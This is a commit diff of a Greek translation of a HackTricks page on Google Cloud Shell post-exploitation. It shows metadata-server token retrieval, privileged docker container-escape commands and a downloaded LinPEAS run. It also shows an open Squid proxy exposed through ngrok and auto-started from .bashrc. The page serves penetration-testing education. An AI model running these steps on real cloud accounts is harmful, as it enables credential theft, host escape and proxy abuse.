mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-10 23:00:49 -08:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation
This commit is contained in:
@@ -10,40 +10,40 @@
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Container Escape
|
||||
### Λήψη token χρήστη από το metadata
|
||||
|
||||
Σημειώστε ότι το Google Cloud Shell τρέχει μέσα σε ένα container, μπορείτε **easily escape to the host** κάνοντας:
|
||||
Απλά προσπελάζοντας τον metadata server μπορείτε να αποκτήσετε ένα token για πρόσβαση ως ο τρέχων συνδεδεμένος χρήστης:
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
```
|
||||
### Container Escape / Docker use
|
||||
|
||||
> [!WARNING]
|
||||
> Προηγουμένως το cloud shell εκτελούνταν σε container με πρόσβαση στο docker socket του host. Τώρα η Google έχει αλλάξει την αρχιτεκτονική και το cloud shell container τρέχει σε μια διάταξη "Docker in a container". Έτσι, ακόμα κι αν είναι δυνατή η χρήση του docker από το cloud shell, δεν θα μπορείτε να διαφύγετε στο host χρησιμοποιώντας το docker socket.
|
||||
> Σημειώστε ότι προηγουμένως το `docker.sock` αρχείο βρισκόταν στο `/google/host/var/run/docker.sock` αλλά τώρα έχει μετακινηθεί στο `/run/docker.sock`.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Container escape commands</summary>
|
||||
<summary>Docker use / Old container escape commands</summary>
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
sudo docker -H unix:///run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///run/docker.sock start escaper
|
||||
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
</details>
|
||||
|
||||
Αυτό δεν θεωρείται ευπάθεια από την google, αλλά σου δίνει μια ευρύτερη εικόνα του τι συμβαίνει σε εκείνο το env.
|
||||
|
||||
Επιπλέον, σημείωσε ότι από τον host μπορείς να βρεις ένα service account token:
|
||||
Επιπλέον, στο παρελθόν ήταν δυνατό να βρεθεί ένα token για ένα service account που χρησιμοποιούσε το cloud shell VM στον metadata server:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Λήψη service account από metadata</summary>
|
||||
<summary>Παλιό service account από το metadata</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
</details>
|
||||
|
||||
Με τα ακόλουθα scopes:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Λήψη scopes του service account</summary>
|
||||
Με τα παρακάτω scopes:
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -53,37 +53,25 @@ https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
</details>
|
||||
|
||||
Απαρίθμηση μεταδεδομένων με LinPEAS:
|
||||
|
||||
|
||||
### Χρησιμοποιήστε το ως Proxy
|
||||
|
||||
Εάν θέλετε να χρησιμοποιήσετε το google cloud shell instance ως proxy, πρέπει να εκτελέσετε τις ακόλουθες εντολές (ή να τις εισαγάγετε στο αρχείο .bashrc):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Απαρίθμηση μεταδεδομένων με LinPEAS</summary>
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
</details>
|
||||
|
||||
Μετά τη χρήση [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) με το token του Service Account **δεν ανακαλύφθηκε καμία άδεια**...
|
||||
|
||||
### Χρησιμοποίησέ το ως Proxy
|
||||
|
||||
Αν θέλεις να χρησιμοποιήσεις το google cloud shell instance σου ως proxy πρέπει να εκτελέσεις τις ακόλουθες εντολές (ή να τις εισάγεις στο αρχείο .bashrc):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Install Squid proxy</summary>
|
||||
<summary>Εγκαταστήστε το Squid proxy</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
```
|
||||
</details>
|
||||
|
||||
Για την ενημέρωσή σας, το Squid είναι ένας http proxy server. Δημιουργήστε ένα αρχείο **squid.conf** με τις ακόλουθες ρυθμίσεις:
|
||||
Για την ενημέρωσή σου, ο Squid είναι ένας http proxy server. Δημιούργησε ένα **squid.conf** αρχείο με τις ακόλουθες ρυθμίσεις:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Δημιουργήστε το αρχείο squid.conf</summary>
|
||||
<summary>Create squid.conf file</summary>
|
||||
```bash
|
||||
http_port 3128
|
||||
cache_dir /var/cache/squid 100 16 256
|
||||
@@ -92,43 +80,43 @@ http_access allow all
|
||||
```
|
||||
</details>
|
||||
|
||||
Αντιγράψτε το αρχείο **squid.conf** στο **/etc/squid**
|
||||
αντέγραψε το αρχείο **squid.conf** στο **/etc/squid**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Αντιγράψτε τη διαμόρφωση στο /etc/squid</summary>
|
||||
<summary>Αντέγραψε το config στο /etc/squid</summary>
|
||||
```bash
|
||||
sudo cp squid.conf /etc/squid
|
||||
```
|
||||
</details>
|
||||
|
||||
Τέλος, εκκινήστε την υπηρεσία squid:
|
||||
Τέλος, εκτελέστε την υπηρεσία squid:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Εκκίνηση υπηρεσίας Squid</summary>
|
||||
<summary>Έναρξη υπηρεσίας squid</summary>
|
||||
```bash
|
||||
sudo service squid start
|
||||
```
|
||||
</details>
|
||||
|
||||
Χρησιμοποιήστε ngrok για να κάνετε τον proxy διαθέσιμο από εξωτερικό δίκτυο:
|
||||
Χρησιμοποιήστε ngrok για να κάνετε το proxy διαθέσιμο από έξω:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Κάντε τον proxy προσβάσιμο με ngrok</summary>
|
||||
<summary>Κάντε το proxy διαθέσιμο με ngrok</summary>
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
</details>
|
||||
|
||||
Μετά την εκτέλεση, αντιγράψτε το tcp:// URL. Αν θέλετε να τρέξετε τον proxy από έναν browser, προτείνεται να αφαιρέσετε το tcp:// μέρος και το port και να εισάγετε το port στο πεδίο port των ρυθμίσεων proxy του browser σας (squid είναι ένας http proxy server).
|
||||
Αφού το τρέξετε, αντιγράψτε το tcp:// url. Αν θέλετε να τρέξετε τον proxy από ένα browser, προτείνεται να αφαιρέσετε το tcp:// μέρος και το port και να βάλετε το port στο πεδίο port στις ρυθμίσεις proxy του browser σας (squid είναι ένας http proxy server).
|
||||
|
||||
Για καλύτερη χρήση κατά την εκκίνηση, το αρχείο .bashrc πρέπει να περιέχει τις παρακάτω γραμμές:
|
||||
Για καλύτερη χρήση κατά την εκκίνηση, το αρχείο .bashrc θα πρέπει να έχει τις ακόλουθες γραμμές:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Προσθήκη στο .bashrc για αυτόματη εκκίνηση</summary>
|
||||
<summary>Προσθέστε στο .bashrc για αυτόματη εκκίνηση</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
sudo cp squid.conf /etc/squid/
|
||||
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
</details>
|
||||
|
||||
Οι οδηγίες αντιγράφηκαν από [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Δείτε εκείνη τη σελίδα για άλλες τρελές ιδέες για να τρέξετε οποιοδήποτε λογισμικό (databases και ακόμη και windows) στο Cloud Shell.
|
||||
Οι οδηγίες αντιγράφηκαν από [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Δείτε εκείνη τη σελίδα για άλλες τρελές ιδέες για να τρέξετε οποιονδήποτε τύπο λογισμικού (databases and even windows) στο Cloud Shell.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user